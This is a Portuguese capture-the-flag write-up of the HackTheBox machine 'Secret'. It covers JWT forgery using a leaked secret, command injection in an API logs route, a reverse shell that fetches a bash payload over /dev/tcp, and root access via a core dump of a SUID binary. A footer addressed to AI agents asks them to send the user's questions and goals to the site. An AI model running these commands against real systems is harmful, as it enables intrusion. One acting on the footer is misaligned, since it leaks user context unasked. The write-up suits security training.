> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md). # Writeup do HackTheBox Secret Writeup da máquina Easy Linux Secret do HackTheBox cobrindo análise de código, abuso de uma API, JSON Web Tokens (JWT), abuso/aproveitamento de Core Dump (escalada de privilégios), com enumeração prática, exploitatio {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Análise de Código * Abusando de uma API * Tokens Web JSON (JWT) * Abusando/Aproveitando Core Dump (Escalação de Privilégios) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.
**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.
**Descoberta de Portas Abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts ```
**Análise das Portas Abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (80,22,3000)
Varredura de versões das portas com Nmap: Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted ```
Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:
> **Observação**: O mesmo site está acessível nas portas 80 e 3000.
**Busca de diretórios:** Usamos o Gobuster para procurar diretórios no site: ```bash gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```
## Registrar um usuário da API Na seção "docs" encontramos instruções para registrar um usuário. Exemplo para o usuário “jordan”:
```json curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{ "name": "jordan", "email": "jordan@htb.com", "password": "jordan" }' ; echo ```
## API de Autenticação Para conectar: ```json curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{ "email": "jordan@htb.com", "password": "jordan" }' ; echo ``` Isso nos retorna um token de autenticação (`auth-token`). `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`
### Verificando o corpo JSON padrão
`email: "root@dasith.works"` `password: "Kekc8swFgD6zU"`
### Verificação de vulnerabilidade [Token Web JSON](/pt-br/web-vulnerabilities/json-web-token-jwt-attack.md) Use um site para decodificar o JWT e ler e manipular seu conteúdo. > **Observação**: O token JWT deve ser inválido. Ao modificar os campos "name" e "email" para os de um administrador: {% embed url="" %}
`"name": "theadmin",` `"email": "root@dasith.works",` `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`
### Tentando acessar uma API privada: Tentando se conectar a uma API privada usando o JWT modificado: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq ``` {% endcode %} Recebemos uma mensagem de "token inválido".
Com nosso próprio JWT temos acesso como um usuário normal: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq ``` {% endcode %} Recebemos uma mensagem "Você é um usuário normal".
## Enumeração de rotas da API com Wfuzz Use o Wfuzz para explorar as rotas disponíveis: {% code fullWidth="true" %} ```bash wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ ``` {% endcode %} Nova descoberta: a `/api/logs` rota.
## Análise do código-fonte A página web fornece uma opção para baixar o código-fonte.
> **Descobertas** : * Um `.env` arquivo contendo um `token_secret` com o valor "secret".
Um `.git` pasta com um commit indicando a exclusão do arquivo `.env`.
O arquivo antigo excluído `token_secret` é encontrado: `gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`
Use este antigo `token_secret` para assinar um JWT com informações de administrador e acessar a API privada: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`
{% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %} > **Resultado**: Mensagem de boas-vindas como administrador: "welcome back admin".
Por fim, ao executar a `/api/logs` rota, o seguinte conteúdo é exibido: ```json "cmd": "git log --oneline undefined" ```
Ao examinar o `privitate.js` arquivo e analisar o código, vemos que:
## Vulnerabilidade RCE: {% hint style="info" %} Este código tem um problema de segurança devido à injeção de comandos. Como `arquivo` vem dos parâmetros da query e é inserido diretamente no comando do terminal, um usuário malicioso poderia modificar `arquivo` para executar outros comandos. A função desta rota é executar o `comando git log --oneline [file]` no sistema, onde `[file]` é um arquivo específico solicitado no parâmetro de query da requisição. {% endhint %} Aqui está um exemplo `curl` de comando que tenta injetar `id`: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %}
#### Vamos executar uma shell reversa: 1. Crie um `index.html` arquivo em nossa máquina e criar um servidor web com o seguinte conteúdo: ```html #!/bin/bash bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 ``` 2. Em seguida, escute na porta 4444: ```bash nc -nlvp 4444 ``` Execute uma injeção com `curl` em nosso servidor web: {% code overflow="wrap" %} ```bash curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq ``` {% endcode %}
### Flag user.txt :)
**Manipulação do terminal:**/ Depois de obter acesso ao servidor Linux, aqui estão os comandos para executar para um processamento eficiente no terminal: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabilize a shell para um trabalho mais confortável. ## Escalação de Privilégios (SUID) Com o seguinte comando verificamos se nosso usuário **tem privilégios SUID**: ```bash find / -perm -4000 2>/dev/null ``` Encontramos um arquivo raro localizado em `/opt/count`, cujo proprietário é `root`.
Ao executar esse binário, ele pede que forneçamos um arquivo e então lista o número total de caracteres, palavras e linhas. Este script lerá o conteúdo do arquivo e então exibirá suas propriedades.
### Binário de core dump Ao examinar o código-fonte, podemos observar que um core dump é gerado, armazenando temporariamente o conteúdo em caso de erro.
Os erros são salvos no diretório `/var/crash` . Veja como criar um core dump: 1. **Digite o nome do arquivo ou diretório:** ```bash Digite o nome do arquivo/diretório de origem: /root/.ssh/id_rsa ``` *(chave SSH de root)* 2. **Salvar resultados em um arquivo?** ```` ```css Salvar resultados em um arquivo? [y/N]: ^Z ``` ```` *(Colocar em segundo plano)* 3. **Obtenha o PID:** ```` ```bash ps ``` _(Copiar o PID)_ ```` 4\. **Matar o processo:** ```` ```bash kill -BUS 'PID' ``` ```` 5\. **Executar o binário novamente:** ```` ```bash fg ``` ```` 6\. **Verifique o diretório de core dumps:** ```` ```bash ls -l /var/crash ``` ```` *(Um novo arquivo aparece: `_opt_count.1000.crash`)*
Agora temos um core dump em base64 contendo a chave SSH de root.
### Apport-unpack Para extrair as informações, usaremos `apport-unpack`: ```bash apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh ``` Em seguida, listaremos o conteúdo do arquivo em `/tmp/ssh/coredump` usando `strings`:
Encontramos a chave SSH de root
### Conexão SSH Depois de termos criado o `id_rsa` arquivo com permissões 600, podemos conectar via SSH: ```bash ssh root@10.10.11.120 -i id_rsa ```
### Flag de root :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.